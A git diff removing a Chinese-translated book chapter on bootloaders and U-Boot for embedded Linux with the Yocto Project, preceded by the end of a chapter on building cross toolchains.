在此步骤中,将生成相应的内核配置文件。 有关 Linux 内核的更多信息将在[第 4 章](04.html#aid-TI1E1 "Chapter 4. Linux Kernel"),*Linux 内核*中介绍。 - * 编译 Linux 内核头并将其复制到相应位置。 - * 将接头安装在相应位置。 -* **Glibc Header Setup**:这表示用于设置`glibc`Build Area 和 Installation Header 的步骤,如下所示: - * 解压缩 glibc 存档和头文件 - * 修补源代码,如果适用的话 - * 相应地配置源代码,使`-with-headers`变量能够将库链接到相应的 Linux 内核头文件 - * 编译 glibc 头文件 - * 相应地安装接头 -* **GCC 第一阶段设置**:此表示生成 C 运行时文件的步骤,如`crti.o`和`crtn.o`: - * 解压 GCC 档案 - * 如有必要,请修补 GCC 信息源 - * 配置启用所需功能的源 - * 编译 C 运行时组件 - * 相应地安装源代码 -* **构建 glibc 源**:这表示构建`glibc`源并完成必要的 ABI 设置的步骤,如下所示: - * 通过相应设置`mabi`和`march`变量来配置`glibc`库 - * 编译源代码 - * 相应地安装`glibc` -* **GCC 第二阶段设置**:表示工具链配置完成的最终设置阶段,如下图所示: - * 配置`gcc`源 - * 编译源代码 - * 在相应位置安装二进制文件 - -执行完这些步骤后,开发人员就可以使用工具链了。 Yocto 项目内部遵循相同的策略和构建程序步骤。 - -# Yocto 项目参考 - -正如我已经提到的,Yocto Project 环境的主要优势和可用特性是,即 Yocto Project 构建不使用宿主可用包,而是构建并使用自己的包。 这样做是为了确保主机环境中的更改不会影响其可用的包,并确保构建是为了生成自定义 Linux 系统。 工具链是组件之一,因为几乎所有组成 Linux 发行版的包都需要使用工具链组件。 - -Yocto 项目的第一步是确定确切的源代码和软件包,这些源代码和软件包将被组合在一起以生成工具链,这些工具链将由后来构建的软件包使用,例如 U-Boot 引导加载器、内核、BusyBox 和其他。 在这本书中,将讨论的源代码是 Dizzy 分支中可用的源代码、最新的 Poky 12.0 版本和 Yocto Project 版本 1.7。 可以使用以下命令收集源: - -```sh -git clone -b dizzy http://git.yoctoproject.org/git/poky - -``` - -收集源代码并调查源代码后,我们确定了前面标题中提到和展示的包的一部分,如下所示: - -```sh -cd poky -find ./ -name "gcc" -./meta/recipes-devtools/gcc -find ./ -name "binutils" -./meta/recipes-devtools/binutils -./meta/recipes-devtools/binutils/binutils -find ./ -name "glibc" -./meta/recipes-core/glibc -./meta/recipes-core/glibc/glibc -$ find ./ -name "uclibc" -./meta-yocto-bsp/recipes-core/uclibc -./meta-yocto-bsp/recipes-core/uclibc/uclibc -./meta/recipes-core/uclibc - -``` - -GNU CC 和 GCC C 编译器包由前面的所有包组成,被分成多个部分,每个部分都有其用途。 这主要是因为每个组件都有其用途,并与不同的作用域一起使用,例如`sdk`组件。 然而,正如我在本章的介绍中提到的,有多个工具链构建过程需要使用相同的源代码来确保和自动化。 Yocto 内部提供的支持是对 GCC 4.84.9 版本的支持。 快速浏览一下可用的`gcc`个个配方即可显示可用的信息: - -```sh -meta/recipes-devtools/gcc/ -├── gcc-4.8 -├── gcc_4.8.bb -├── gcc-4.8.inc -├── gcc-4.9 -├── gcc_4.9.bb -├── gcc-4.9.inc -├── gcc-common.inc -├── gcc-configure-common.inc -├── gcc-cross_4.8.bb -├── gcc-cross_4.9.bb -├── gcc-cross-canadian_4.8.bb -├── gcc-cross-canadian_4.9.bb -├── gcc-cross-canadian.inc -├── gcc-cross.inc -├── gcc-cross-initial_4.8.bb -├── gcc-cross-initial_4.9.bb -├── gcc-cross-initial.inc -├── gcc-crosssdk_4.8.bb -├── gcc-crosssdk_4.9.bb -├── gcc-crosssdk.inc -├── gcc-crosssdk-initial_4.8.bb -├── gcc-crosssdk-initial_4.9.bb -├── gcc-crosssdk-initial.inc -├── gcc-multilib-config.inc -├── gcc-runtime_4.8.bb -├── gcc-runtime_4.9.bb -├── gcc-runtime.inc -├── gcc-target.inc -├── libgcc_4.8.bb -├── libgcc_4.9.bb -├── libgcc-common.inc -├── libgcc.inc -├── libgcc-initial_4.8.bb -├── libgcc-initial_4.9.bb -├── libgcc-initial.inc -├── libgfortran_4.8.bb -├── libgfortran_4.9.bb -└── libgfortran.inc - -``` - -GNU Binutils 包代表二进制工具集合,如 GNU Linker、GNU 汇编程序、`addr2line`、`ar`、`nm`、`objcopy`、`objdump`以及其他工具和相关库。 Yocto 项目提供了对 Binutils 版本 2.24 的支持,并且还依赖于可用的工具链构建过程,因为通过检查源代码可以看出: - -```sh -meta/recipes-devtools/binutils/ -├── binutils -├── binutils_2.24.bb -├── binutils-2.24.inc -├── binutils-cross_2.24.bb -├── binutils-cross-canadian_2.24.bb -├── binutils-cross-canadian.inc -├── binutils-cross.inc -├── binutils-crosssdk_2.24.bb -└── binutils.inc - -``` - -最后一个组件由 C 库表示,这些库作为组件出现在 Poky Dizy 分支中。 有两个 C 库可供开发人员使用。 第一个由 GNU C 库(也称为`glibc`)表示,它是 Linux 系统中使用最多的 C 库。 可以在此处查看`glibc`包的源代码: - -```sh -meta/recipes-core/glibc/ -├── cross-localedef-native -├── cross-localedef-native_2.20.bb -├── glibc -├── glibc_2.20.bb -├── glibc-collateral.inc -├── glibc-common.inc -├── glibc.inc -├── glibc-initial_2.20.bb -├── glibc-initial.inc -├── glibc-ld.inc -├── glibc-locale_2.20.bb -├── glibc-locale.inc -├── glibc-mtrace_2.20.bb -├── glibc-mtrace.inc -├── glibc-options.inc -├── glibc-package.inc -├── glibc-scripts_2.20.bb -├── glibc-scripts.inc -├── glibc-testing.inc -├── ldconfig-native-2.12.1 -├── ldconfig-native_2.12.1.bb -└── site_config - -``` - -在这些来源中,同一位置还包括一些工具,如`ldconfig`、用于运行时依赖项的独立本机动态链接器以及绑定和跨语言环境生成工具。 如前所述,在另一个名为`uClibc`的 C 库中,为嵌入式系统设计的库有更少的配方,因为它可以从狭小的源代码中查看: - -```sh -meta/recipes-core/uclibc/ -├── site_config -├── uclibc-config.inc -├── uclibc-git -├── uclibc_git.bb -├── uclibc-git.inc -├── uclibc.inc -├── uclibc-initial_git.bb -└── uclibc-package.inc - -``` - -UClibc 被用作`glibc`C 库的替代,因为它生成更小的可执行内存。 同时,`uClibc`是前面列表中唯一应用了`bbappend`的包,因为它扩展了对两台机器`genericx86-64`和`genericx86`的支持。 通过将`TCLIBC`变量更改为相应的变量,可以实现`glibc`和`uClibc`之间的更改:`TCLIBC = "uclibc"`。 - -如前所述,Yocto 项目的工具链生成过程更为简单。 这是在使用 Yocto 项目构建任何食谱之前执行的第一个任务。 要使用 Bitbake 在内部生成交叉工具链,首先要执行`bitbake meta-ide-support`任务。 例如,该任务可以针对`qemuarm`体系结构执行,但当然也可以针对任何给定的硬件体系结构以类似的方法生成。 任务完成执行过程后,将生成工具链并填充生成目录。 在此之后,可以通过查找`tmp`目录中提供的`environment-setup`脚本来使用它: - -```sh -cd poky -source oe-init-build-env ../build-test - -``` - -将`MACHINE`变量相应地设置为`conf/local.conf`文件内的值`qemuarm`: - -```sh -bitbake meta-ide-support -source tmp/environment-setup - -``` - -用于生成工具链的默认 C 库是`glibc`,但可以根据开发人员的需要进行更改。 从上一节的演示中可以看出,Yocto 项目中的工具链生成过程非常简单明了。 它还避免了手动工具链生成过程中涉及的所有麻烦和问题,使非常容易重新配置。 - -# 摘要 - -在本章中,向您介绍了理解 Linux 工具链的组成组件所需的必要信息,以及开发人员使用或配置特定于主板或架构的 Linux 工具链所采取的步骤。 您还可以看到关于 Yocto Project 源代码中可用包的信息,以及 Yocto Project 内部定义的流程如何与 Yocto Project 上下文之外已经使用的流程非常相似。 - -在下一章中,我们将轻松浏览有关 BootLoader 的信息,特别强调 U-Boot BootLoader。 您还将在 U-Boot 源中获得有关引导顺序和主板配置的信息。* \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/03.md b/docs/learn-emb-linux-yocto-proj/03.md deleted file mode 100644 index d1195006..00000000 --- a/docs/learn-emb-linux-yocto-proj/03.md +++ /dev/null @@ -1,287 +0,0 @@ -# 三、引导加载器 - -在本章中,我们将向您介绍在嵌入式环境中使用 Linux 系统所必需的最重要的组件之一。 这里,我指的是 Bootloader,这是一款提供初始化平台并使其准备好引导 Linux 操作系统的软件。 在本章中,我们将介绍引导加载程序的优点和作用。 本章主要关注 U-Boot 引导加载程序,但鼓励读者看看其他引导程序,如 Barebox、RedBoot 等。 所有这些引导加载器都有它们各自的功能,没有一个特别适合所有需要;因此,欢迎在本章中进行实验和好奇。 在上一章中已经向您介绍了 Yocto 项目参考;因此,您现在将能够理解此开发环境如何与各种引导加载程序一起工作,特别是在**Board Support Package**(**BSP**)中提供的那些引导加载程序。 - -本章的主要目的是介绍嵌入式引导加载程序和固件的主要属性、它们的引导机制以及固件更新或修改时出现的问题。 我们还将讨论与安全、安装或容错相关的问题。 关于引导加载程序和固件概念,我们有多个可用的定义,其中一些定义指的是我们不感兴趣的传统桌面系统。 - -固件通常代表在系统上用来控制硬件的固定的小程序。 它执行低级操作,通常存储在闪存、ROM、EPROM 等上。 它不是经常改变的。 由于这个术语有时只用于定义硬件设备或表示数据及其指令,因此完全避免了这个术语。 它代表两者的组合:计算机数据和信息,以及硬件设备,它们组合在设备上可用的只读软件中。 - -引导加载器表示在系统初始化期间首先执行的软件。 它用于加载、解压缩和执行一个或多个二进制应用,例如 Linux 内核或根文件系统。 它的角色包括将系统添加到可以执行其主要功能的状态。 这是在加载并启动它接收到的或已经保存在内部存储器上的正确的二进制应用之后完成的。 初始化时,硬件引导加载程序可能需要初始化**锁相环**(**PLL**),设置时钟,或启用对 RAM 存储器和其他外设的访问。 但是,这些初始化是在基本级别上完成的;其余的由内核驱动程序和其他应用完成。 - -今天,有许多引导加载器可用。 由于这个话题的篇幅有限,而且他们的人数很多,我们只讨论最受欢迎的话题。 U-Boot 是适用于 PowerPC、ARM、MIPS 等体系结构的最流行的引导加载程序之一。 它将构成本章的主要焦点。 - -# 引导加载器的角色 - -当电力第一次进入开发板处理器时,在运行程序之前需要准备大量的硬件组件。 对于每个体系结构、硬件制造商甚至处理器,此初始化过程都是不同的。 在大多数情况下,它涉及一组配置和操作,这些配置和操作对于不同的处理器是不同的,最终会从处理器附近的可用存储设备获取引导代码。 该存储设备通常是闪存,并且引导代码是引导加载程序的第一阶段,并且是初始化处理器和相关硬件外围设备的阶段。 - -大多数可用的处理器在通电时都会转到默认地址位置,并在找到二进制数据的第一个字节后开始执行它们。 基于该信息,硬件设计者定义闪存的布局以及稍后可用于从可预测地址加载和引导 Linux 操作系统的地址范围。 - -在初始化的第一阶段,通常用特定于处理器的汇编语言完成电路板初始化,完成后,整个生态系统就为操作系统引导过程做好了准备。 引导加载程序负责此操作;它是提供加载、定位和执行操作系统主要组件的可能性的组件。 此外,它还可以包含其他高级功能,例如升级操作系统映像、验证操作系统映像、在多个操作系统映像之间进行选择,甚至可以自我升级。 传统 PC BIOS 和嵌入式引导加载程序之间的不同之处在于,在嵌入式环境中,引导加载程序在 Linux 内核开始执行后被覆盖。 事实上,在它提供对操作系统映像的控制之后,它就不复存在了。 - -在使用外围设备(如闪存或 DRAM)之前,引导加载程序需要仔细地对其进行初始化。 这不是一件容易的事。 例如,DRAM 芯片不能直接读取或写入-每个芯片都有一个控制器,需要启用该控制器才能进行读取和写入操作。 同时,DRAM 需要持续刷新,否则数据将丢失。 实际上,刷新操作代表在硬件制造商提到的时间范围内读取每个 DRAM 位置。 所有这些操作都是由 DRAM 控制器负责的,这会给嵌入式开发人员带来很多挫折,因为它需要关于体系结构设计和 DRAM 芯片的特定知识。 - -引导加载程序没有普通应用所具有的基础设施。 它不可能只被它的名字调用并开始执行。 在获得控制时打开后,它会通过初始化处理器和必要的硬件(如 DRAM)来创建自己的上下文,并在必要时在 DRAM 中移动自身以加快执行速度,最后开始实际的代码执行。 - -造成复杂性的第一个因素是启动代码与处理器引导序列的兼容性。 第一个可执行指令需要位于闪存中的预定义位置,这取决于处理器甚至硬件架构。 还可能有多个处理器基于接收到的硬件信号在几个位置寻找那些第一个可执行指令。 - -另一种可能性是在许多新上市的开发板上采用相同的结构,例如 Atmel SAMA5D3-XPlaed: - -![The role of the bootloader](img/image00306.jpeg) - -对于 Atmel SAMA5D3-XPlaed 板和其他类似的板,引导从 AT91 CPU 上 ROM 存储器中名为 BootROM 的集成引导代码开始,该代码在 SRAM 上加载名为 AT91Bootstrap 的第一级引导加载程序并启动它。 第一级引导加载器初始化 DRAM 存储器并启动第二级引导加载器,在本例中为 U-Boot。 有关引导序列可能性的更多信息可以在可用的引导序列标头中找到,您很快就会了解到这一点。 - -缺乏执行上下文代表了另一个复杂性。 在没有内存的系统中甚至必须编写一个简单的`"Hello World"`,因此没有一个堆栈来分配信息,这看起来与众所周知的“Hello World”示例非常不同。 这就是引导加载程序将 RAM 内存初始化为具有可用堆栈并能够运行高级程序或语言(如 C 语言)的原因。 - -# 比较各种引导加载程序 - -正如我们前面所读到的,嵌入式系统可以使用许多引导加载器。 这里将介绍的内容如下: - -* **U-Boot**:此也称为通用引导加载器,主要用于嵌入式 Linux 系统的 PowerPC 和 ARM 体系结构 -* **Barebox**:这个最初称为 U-Boot v2,始于 2007 年,旨在解决 U-Boot 的局限性;随着时间的推移,它更改了名称,因为设计目标和社区发生了变化 -* **RedBoot**:这个是从 eCos 派生的 RedHat Bootloader,eCos 是一个开源实时操作系统,可移植,专为嵌入式系统设计 -* **rrload**:此是 ARM 的引导加载程序,基于嵌入式 Linux 系统 -* **PPCBOOT**:这个是 PowerPC 的引导加载程序,是基于嵌入式 Linux 系统的 -* **CLR/OHH**:此表示用于基于 ARM 架构的嵌入式 Linux 系统的闪存引导加载程序 -* **Alios**:这是一个引导加载程序,主要用汇编语言编写,执行 ROM 和 RAM 初始化,并试图完全消除嵌入式系统上对固件的需要[t3 - -有许多可用的引导加载程序,这是一个自然的结果,因为有大量不同的体系结构和设备,事实上,如此之多,以至于几乎不可能有一个对所有系统都好的引导加载程序。 BootLoader 的种类很多;区别因素体现在板的类型和结构、SOC 差异,甚至 CPU。 - -# 深入研究引导加载程序周期 - -如前所述,引导加载器是在初始化系统之后首先运行的组件,并为操作系统引导过程准备整个生态系统。 这一过程因架构不同而不同。 例如,对于 x86 体系结构,处理器可以访问 BIOS,这是非易失性存储器中的一个软件,通常是 ROM。 它的角色在执行时重置系统后启动,并初始化稍后将由第一级引导加载程序使用的硬件组件。 它还执行引导加载程序的第一阶段。 - -第一阶段引导加载器的维度非常小-通常只有 512 字节,并且驻留在易失性存储器上。 它在第二阶段执行完全引导加载程序的初始化。 第二阶段引导加载程序通常位于第一阶段引导加载程序的旁边,它们包含的功能最多,执行的工作也最多。 他们还知道如何解释各种文件系统格式,这主要是因为内核是从文件系统加载的。 - -对于 x86 处理器,有更多的引导加载程序解决方案可供选择: - -* **GRUB**:Grand Unified BootLoader 是桌面 PC 平台上 Linux 系统使用最多、功能最强大的 BootLoader。 它是 GNU 项目的一个组件,是 x86 架构系统可用的最强大的引导加载器之一。 这是因为它能够理解各种文件系统和内核映像格式。 它能够在引导期间更改引导配置。 GRUB 还支持网络引导和命令行界面。 它有一个在引导时处理并可以修改的配置文件。 有关它的更多信息可以在[http://www.gnu.org/software/grub/](http://www.gnu.org/software/grub/)上找到。 -* **LILO**:Linux Loader,一个主要用于商业 Linux 发行版的引导加载程序。 与上一点类似,它可用于台式 PC 平台。 它有多个组件,由于历史原因,第一个组件位于磁盘驱动器的第一个扇区上;它是引导组件。 由于相同的历史原因,它被限制为 512 字节的维度,并且它加载并提供对第二阶段引导加载程序的控制,该第二阶段引导加载程序执行引导加载程序的大部分工作。 LILO 有一个配置实用程序,它主要用作 Linux 内核引导过程的信息源。 有关它的更多信息可以在[http://www.tldp.org/HOWTO/LILO.html](http://www.tldp.org/HOWTO/LILO.html)上找到。 -* **Syslinux**:它用于可移动介质或网络引导。 Syslinux 是在 MS-DOS 或 Windows FAT 文件系统上运行的 Linux 操作系统引导加载程序,主要用于 Linux 的抢救和首次安装。 有关它的更多信息,请参见[http://www.kernel.org/pub/linux/utils/boot/syslinux/](http://www.kernel.org/pub/linux/utils/boot/syslinux/)。 - -对于大多数嵌入式系统,此引导过程不适用,尽管有些系统会复制此行为。 接下来将介绍两种情况。 第一种情况是代码执行从固定地址位置开始的情况,第二种情况是 CPU 在调用的 ROM 存储器中有可用代码的情况。 - -![Delving into the bootloader cycle](img/image00307.jpeg) - -图像的右侧显示为前面提到的引导机制。 在这种情况下,硬件需要 NOR 闪存芯片,该芯片在起始地址可用来确保代码执行的开始。 - -NOR 存储器优于 NAND 存储器,因为它允许随机地址访问。 它是对第一阶段引导加载程序进行编程以开始执行的地方,这并不能使其成为最实用的引导机制。 - -尽管这不是引导加载程序引导过程中使用的最实用的方法,但它仍然可以使用。 然而,不知何故,它只能在不适合更强大的引导选项的主板上使用。 - -# U-Boot 引导加载程序 - -目前有许多开源引导加载器可用。 它们几乎都具有加载和执行程序的功能,通常涉及操作系统,其功能用于串行接口通信。 然而,并不是所有的设备都有可能通过以太网进行通信或自我更新。 另一个重要因素是引导加载程序的广泛使用。 组织和公司通常只为其支持的各种主板、处理器和体系结构选择一个引导加载程序。 类似的事情也发生在 Yocto 项目中,当时选择了一个 BootLoader 来代表官方支持的 BootLoader。 他们和其他类似的公司选择了 U-Boot Bootloader,它在 Linux 社区中非常出名。 - -U-Boot 引导加载程序,或其正式名称为 Das U-Boot,是由 Wolfgang Denx 在其背后社区的支持下开发和维护的。 它是按照 GPLv2 授权的,它的源代码可以在`git`库中免费获得,如第一章所示,并且它的发布间隔为两个月。 发布版本名称显示为为`U-boot vYYYY.MM`。 有关 U-Boot 加载程序的信息,请参阅[http://www.denx.de/wiki/U-Boot/ReleaseCycle](http://www.denx.de/wiki/U-Boot/ReleaseCycle)。 - -U-Boot 源代码有一个定义非常好的目录结构。 使用以下控制台命令可以很容易地看到这一点: - -```sh -tree -d -L 1 -. -├── api -├── arch -├── board -├── common -├── configs -├── disk -├── doc -├── drivers -├── dts -├── examples -├── fs -├── include -├── lib -├── Licenses -├── net -├── post -├── scripts -├── test -└── tools -19 directories - -``` - -`arch`目录包含特定于体系结构的文件和目录-特定于每个体系结构、CPU 或开发板。 `api`包含独立于机器或体系结构类型的外部应用。 A`board`包含具有特定名称的目录的内部线路板,用于所有线路板特定文件。 公共是`misc`函数所在的位置。 A`disk`包含磁盘驱动器处理功能,文档位于`doc`目录中。 驱动程序位于`drivers`目录中。 特定于文件系统的功能在`fs`目录中可用。 仍然有一些目录需要在这里提及,比如`include`目录,它包含头文件;`lib`目录包含支持各种实用程序的通用库,如展平设备树、各种解压缩、`post`(开机自检)和其他,但是我会让读者的好奇心发现它们,一个小提示是检查`Directory Hierachy`部分的`README`文件。 - -浏览上一章`./include/configs`文件中下载的 U-Boot 源文件,可以找到每个受支持主板的配置文件。 这些配置文件是一个`.h`文件,其中包含许多`CONFIG_`文件,并定义有关内存映射、外围设备及其设置、命令行输出(如用于引导 Linux 系统的引导默认地址)等信息。 有关配置文件的更多信息可以在*配置选项的*部分的`README`文件中找到,也可以在线路板特定的配置文件中找到。 对于 Atmel SAMA5D3-XPlaed,配置文件为`include/configs/sama5d3_xplained.h`。 另外,在`configs`目录中有两种配置可供该单板使用,如下所示: - -* `configs/sama5d3_xplained_mmc_defconfig` -* `configs/sama5d3_xplained_nandflash_defconfig` - -这些配置用于定义电路板**二级程序加载器**(**SPL**)初始化方法。 SPL 表示从放置在 SRAM 存储器上的 U-Boot 源代码构建的小型二进制代码,用于将 U-Boot 加载到 RAM 存储器中。 通常,它的内存不到 4KB,引导顺序如下所示: - -![The U-Boot bootloader](img/image00308.jpeg) - -在实际为特定电路板启动 U-Boot 源代码的构建之前,必须指定电路板配置。 如上图所示,对于 Atmel SAMA5_XPlaed 开发板,有两种可用配置。 配置是通过 make`ARCH=arm CROSS_COMPILE=${CC} sama5d3_xplained_nandflash_defconfig`命令完成的。 在此命令后面,将创建`include/config.h`文件。 此标题包括特定于所选主板、体系结构、CPU 的定义,也包括特定于主板的标题。 从`include/config.h`文件读取的定义的`CONFIG_*`变量包括确定编译过程。 配置完成后,可以为 U-Boot 启动构建。 - -另一个在检查时可能非常有用的示例与引导嵌入式系统的另一个场景有关,该场景需要使用 NOR 内存。 在这种情况下,我们可以看一个具体的例子。 Christopher Hallinan 在*Embedded Linux Primer*中也很好地描述了这一点,其中讨论了 AMCC PowerPC 405GP 的处理器。 该处理器的硬编码地址为 0xFFFFFFFC,使用复位矢量放置`.resetvec`可见。 它还规定,在 0xFFFFFFFF 堆栈结束之前,本节的其余部分仅用值`1`完成;这意味着空的闪存阵列仅用值`1`完成。 有关此部分的信息可在位于`arch/powerpc/cpu/ppc4xx/resetvec.S`的`resetvec.S`文件中找到。 `resetvec.S`文件内容如下: - -```sh - /* Copyright MontaVista Software Incorporated, 2000 */ -#include - .section .resetvec,"ax" -#if defined(CONFIG_440) - b _start_440 -#else -#if defined(CONFIG_BOOT_PCI) && defined(CONFIG_MIP405) - b _start_pci -#else - b _start -#endif -#endif -``` - -通过检查此文件的源代码,可以看到在此部分中只定义了一条指令,而与可用的配置选项无关。 - -U-Boot 的配置通过两种类型的配置变量完成。 第一个是`CONFIG_*`,它引用可由用户配置以启用各种操作功能的配置选项。 另一个选项称为`CFG_*`,用于配置设置和引用特定于硬件的详细信息。 变量`CFG_*`通常需要对硬件平台、外围设备和处理器有很好的了解。 SAMA5D3 解压硬件平台的配置文件位于`include/config.h`头文件中,如下所示: - -```sh -/* Automatically generated - do not edit */ -#define CONFIG_SAMA5D3 1 -#define CONFIG_SYS_USE_NANDFLASH 1 -#define CONFIG_SYS_ARCH "arm" -#define CONFIG_SYS_CPU "armv7" -#define CONFIG_SYS_BOARD "sama5d3_xplained" -#define CONFIG_SYS_VENDOR "atmel" -#define CONFIG_SYS_SOC "at91" -#define CONFIG_BOARDDIR board/atmel/sama5d3_xplained -#include -#include -#include -#include -#include -#include -``` - -此处提供的配置变量表示 SAMA5D3 XPlaed 板的相应配置。 这些配置的一部分涉及许多可用于用户与引导加载程序交互的标准命令。 可以添加或删除这些命令,以便从可用命令行界面扩展或减去命令。 - -有关 U-Boot 可配置命令接口的更多信息,请参见[http://www.denx.de/wiki/view/DULG/UBootCommandLineInterface](http://www.denx.de/wiki/view/DULG/UBootCommandLineInterface)。 - -## 引导 U-Boot 选项 - -在工业环境中,与 U-Boot 的交互主要通过以太网接口完成。 以太网接口不仅能够更快地传输操作系统映像,而且比串行连接更不容易出错。 - -BootLoader 中可用的最重要特性之一与支持**动态主机控制协议**(**DHCP**)、**普通文件传输协议**(**TFTP**),甚至支持**引导协议**(**BOOTP**)有关。 BOOTP 和 DHPC 使以太网连接能够自我配置并从专用服务器获取 IP 地址。 TFTP 允许通过 TFTP 服务器下载文件。 目标设备和 DHCP/BOOTP 服务器之间传递的消息在下图中以更一般的方式表示。 最初,硬件平台发送到达所有可用的 DHCP/BOOTP 服务器的广播消息。 每台服务器都发回其提供的服务,其中也包含一个 IP 地址,客户端接受最适合其目的的服务,而拒绝其他服务。 - -![Booting the U-Boot options](img/image00309.jpeg) - -在目标设备完成与 DHCP/BOOTP 的通信后,它将保留特定于目标的配置,其中包含主机名、目标 IP 和硬件以太网地址(MAC 地址)、网络掩码、TFTP 服务器 IP 地址以及甚至 TFTP 文件名等信息。 此信息绑定到以太网端口,并在稍后的引导过程中使用。 - -为了引导映像,U-Boot 提供了许多功能,这些功能涉及对存储子系统的支持。 这些选项包括 RAM 引导、MMC 引导、NAND 引导、NFS 引导等。 对这些选项的支持并不总是容易的,可能意味着硬件和软件的复杂性。 - -## 移植 U-Boot - -我在前面已经提到过,U-Boot 是可用的最常用和已知的引导加载程序之一。 这也是因为它的体系结构支持以非常容易的方式移植新的开发平台和处理器。 同时,有大量的开发平台可供参考。 任何对移植新平台感兴趣的开发人员都应该做的第一件事是检查`board`和`arch`目录,以建立他们的基准,同时还要确定它们与其他 CPU 和可用的主板的相似性。 - -`board.cfg`文件是注册新平台的起点。 在此,应将以下信息作为表行添加: - -* 地位 / 状态 / 身份 -* 建筑艺术 / 建筑业 / 建筑风格 / 建筑学 -* 中央处理机 -* 社会学 -* 摊贩 / 卖主 / 供应商 / 自动售货机 -* 电路板名称 -* 目标 -* 选项 -* 维修工 - -要移植类似于 SAMA5D3 XPlaed 的机器,可以参考的目录之一是`arch`目录。 它包含文件,如`board.c`,其中包含与线路板和 SOC 的初始化过程相关的信息。 最值得注意的进程是`board_init_r()`,它在 RAM 中重定位之后对板和外围设备进行设置和探测;`board_init_f()`,它在 RAM 中重定位之前标识堆栈大小和保留地址;以及`init_sequence[]`,它在`board_init_f`内部调用以设置外围设备。 同一位置中的其他重要文件是`bootm.c`和`interrupts.c`文件。 前者主要负责操作系统的内存引导,后者负责实现通用中断。 - -`board`目录还有一些有趣的文件和函数需要在此提及,例如`board/atmel/sama5d3_xplained/sama5d3_xplained.c`文件。 它包含用于初始化的函数,如`board_init(), dram_init()`、`board_eth_init()`、`board_mmc_init`、`spl_board_ init()`和`mem_init()`,其中一些函数由`arch/arm/lib/board.c`文件调用。 - -以下是其他一些相关目录: - -* `common`:本保存有关用户命令、中间件、执行中间件和用户命令之间接口的 API 以及所有可用主板使用的其他功能和功能的信息。 -* `drivers`:此包含各种设备驱动程序和中间件 API 的驱动程序,如`drivers/mmc/mmc.c, drivers/pci/pci.c`、`drivers/watchdog/at91sam9_wdt.c`等。 -* `fs`:这里提供了各种支持的文件系统,如 USB、SD 卡、ext2FAT 等。 -* `include`:此表示大多数电路板所需的所有接头所在的位置。 SoC 和其他软件也是可用的。 在 include/configs 中,提供特定于电路板的配置,包括从 Linux 导入的标头;这些配置可用于各种设备驱动程序、移植或其他字节操作。 -* `tools`:此是在将其发送到邮件列表或`mkimage.c`工具之前使用诸如`checkpatch.pl`等工具(用作编码样式检查的补丁检查工具)的地方。 这也用于生成 Linux 二进制文件的 U-Boot 通用头文件生成,并确保它们能够使用 U-Boot 引导。 - -通过查看相应的文档目录和`README`文件,如`README.at91`、`README.at91-soc`、`README.atmel_mci`、`README.atmel_pmecc`、`README.ARM-memory-map`等,可以找到有关 SAMA5D3 白板的更多信息。 - -对于那些对在将新的开发板、CPU 或 SOC 移植到 U-Boot 时所做的更改感兴趣的人来说,应该遵循一些规则。 所有这些都与`git`交互相关,并帮助您确保正确维护分支机构。 - -开发人员应该做的第一件事是跟踪与本地分支相对应的上游分支。 另一条建议是忘记`git``merge`,而使用`git``rebase`。 可以使用`git fetch`命令与上游存储库保持联系。 要使用补丁程序,需要遵循一些一般规则,补丁程序需要只有一个逻辑更改,可以是以下任一更改: - -* 更改不应包含无关或不同的修改;每个更改集只有一个可用且可接受的修补程序 -* 必要时,提交应在可能的情况下使用`git-bisect`,同时检测源代码中的错误 -* 如果多个文件受到一组修改的影响,则应在同一修补程序中提交所有文件 -* 补丁需要进行审查,而且需要非常彻底的审查 - -让我们看一下下图,它说明了 git rebase 操作: - -![Porting U-Boot](img/image00310.jpeg) - -如上图和下图所示,**git rebase**操作已将工作从一个分支重新创建到另一个分支。 一个分支的每个提交都在下一个分支上可用,就在它的最后一个提交之后。 - -![Porting U-Boot](img/image00311.jpeg) - -另一方面,`git merge`操作是一个新的提交,它有两个父级:从中进行移植的分支和合并时所在的新分支。 事实上,它使用不同的提交 ID 将一系列提交收集到一个分支中,这就是它们难以管理的原因。 - -![Porting U-Boot](img/image00312.jpeg) - -有关`git`交互的更多信息可以在[http://git-scm.com/documentation](http://git-scm.com/documentation)或[http://www.denx.de/wiki/U-Boot/Patches](http://www.denx.de/wiki/U-Boot/Patches)上找到。 - -在 U-Boot 中移植新功能时,几乎总是需要进行调试。 对于 U-Boot 调试器,可能会出现两种不同的情况: - -* 第一种情况是未执行`lowlevel_init`时 -* 第二种情况是执行`lowlevel_init`时;这是最常见的情况 - -在接下来的几行中,我们将考虑第二种情况:启用 U-Boot 调试会话的基线。 为了确保可以进行调试,需要执行`elf`文件。 此外,不能直接操作它,因为链接地址将被重新定位。 要做到这一点,应该使用几个技巧: - -* 第一步是确保环境干净,旧对象不再可用:`make clean` -* 下一步是确保清除依赖项:`find ./ | grep depend | xargs rm` -* 清理完成后,可以开始目标构建,并且可以在日志文件中重定向输出:`make sama5d3_xplained 2>&1 > make.log` -* 生成的输出应重命名,以避免多个单板出现调试问题:`mv u-boot.bin u-boot_sama5d3_xplained.bin` -* 在线路板配置文件中启用 DEBUG 非常重要;在`include/configs/ sama5d3_xplained.h`内部,添加`#define`DEBUG 行 - -搬迁后可以搭建早期开发平台,搬迁结束后要设置适当的断点。 需要为 U-Boot 重新加载符号,因为重新定位将移动链接地址。 对于所有这些任务,`gdb`脚本为,表示为`gdb gdb-script.sh`: - -```sh -#!/bin/sh -${CROSS_COMPILE}-gdb u-boot –command=gdb-command-script.txt - -vim gdb-command-script.txt -target remote ${ip}:${port} -load -set symbol-reloading -# break the process before calling board_init_r() function -b start.S:79 -c -… -# the symbol-file need to be align to the address available after relocation -add-symbol-file u-boot ${addr} -# break the process at board_init_r() function for single stepping b board.c:494 -``` - -### 备注 - -有关搬迁的更多信息,请参见`doc/README.arm-relocation`。 - -# 约克托项目 - -Yocto 项目使用各种方法来定义与每个受支持的引导加载器的交互。 由于有多个引导阶段,因此 BSP 中还需要多个食谱和包。 可用于各种引导加载器的食谱与 Yocto 世界中提供的任何其他食谱没有什么不同。 然而,他们有一些细节使他们独一无二。 - -这里我们要关注的板是`sama5d3_xplained`开发板,它位于`meta-atmel`层内部。 在这一层中,可以在`recipes-bsp`目录中找到第一阶段和第二阶段引导加载程序的对应配方。 这里,我指的是`at91bootstrap`和`u-boot`食谱。 对于第一阶段和第二阶段引导加载程序,存在一些误解。 它们可能被称为第二级和第三级引导加载器,因为在讨论期间可能会也可能不会考虑引导 ROM 代码。 